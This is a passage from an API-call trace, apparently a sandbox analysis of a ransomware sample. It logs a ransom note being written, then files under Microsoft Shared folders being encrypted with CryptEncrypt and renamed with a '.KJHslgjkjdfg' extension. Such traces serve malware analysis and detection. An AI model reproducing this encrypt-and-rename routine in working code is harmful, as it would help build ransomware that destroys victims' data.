Shared\\EQUATION\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.482] WriteFile (in: hFile=0xf0, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0162.483] CloseHandle (hObject=0xf0) returned 1 [0162.483] GetProcessHeap () returned 0x990000 [0162.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0162.483] GetProcessHeap () returned 0x990000 [0162.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0162.483] GetProcessHeap () returned 0x990000 [0162.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0162.483] GetProcessHeap () returned 0x990000 [0162.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.483] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0162.486] GetProcessHeap () returned 0x990000 [0162.486] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e1cd0 | out: hHeap=0x990000) returned 1 [0162.486] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EURO", cAlternateFileName="")) returned 1 [0162.486] GetProcessHeap () returned 0x990000 [0162.486] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x78) returned 0x9a9d68 [0162.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0162.488] GetProcessHeap () returned 0x990000 [0162.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0162.488] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.488] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0162.488] GetProcessHeap () returned 0x990000 [0162.488] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27a) returned 0x9b78c0 [0162.488] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0162.488] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0162.488] GetProcessHeap () returned 0x990000 [0162.488] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0162.488] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Filters", cAlternateFileName="")) returned 1 [0162.488] GetProcessHeap () returned 0x990000 [0162.488] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7e) returned 0x9b2468 [0162.488] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0162.490] GetProcessHeap () returned 0x990000 [0162.490] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0162.490] GetProcessHeap () returned 0x990000 [0162.490] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x280) returned 0x9b78c0 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0162.490] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0162.490] GetProcessHeap () returned 0x990000 [0162.490] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0162.490] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0162.490] GetProcessHeap () returned 0x990000 [0162.490] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x7e) returned 0x9b2468 [0162.490] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0162.493] GetProcessHeap () returned 0x990000 [0162.493] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0162.493] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0162.493] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0162.493] GetProcessHeap () returned 0x990000 [0162.493] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x280) returned 0x9b78c0 [0162.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.494] GetProcessHeap () returned 0x990000 [0162.494] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.494] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.494] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0162.497] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.497] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.497] GetProcessHeap () returned 0x990000 [0162.497] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.497] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.497] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.497] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.497] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.497] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.497] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.498] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.498] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.498] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.498] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.498] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a9b, lpOverlapped=0x0) returned 1 [0162.498] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1aa0, dwBufLen=0x1aa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1aa0) returned 1 [0162.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.499] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1aa0, lpOverlapped=0x0) returned 1 [0162.499] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.499] SetEndOfFile (hFile=0xf0) returned 1 [0162.501] GetProcessHeap () returned 0x990000 [0162.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.501] GetProcessHeap () returned 0x990000 [0162.501] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.kjhslgjkjdfg")) returned 1 [0162.502] CloseHandle (hObject=0xf0) returned 1 [0162.502] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0162.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.503] GetProcessHeap () returned 0x990000 [0162.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.503] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.503] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.503] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.503] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.503] GetProcessHeap () returned 0x990000 [0162.503] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.503] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.503] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.503] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.505] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.505] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.505] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.505] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.505] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.506] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.506] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.506] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f160, lpOverlapped=0x0) returned 1 [0162.624] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f160, dwBufLen=0x4f160 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f160) returned 1 [0162.627] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.627] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f160, lpOverlapped=0x0) returned 1 [0162.628] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.628] SetEndOfFile (hFile=0xf0) returned 1 [0162.699] GetProcessHeap () returned 0x990000 [0162.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0162.699] GetProcessHeap () returned 0x990000 [0162.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0162.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.kjhslgjkjdfg")) returned 1 [0162.700] CloseHandle (hObject=0xf0) returned 1 [0162.700] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0162.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.703] GetProcessHeap () returned 0x990000 [0162.703] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0162.703] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0162.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0162.703] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0162.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.708] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 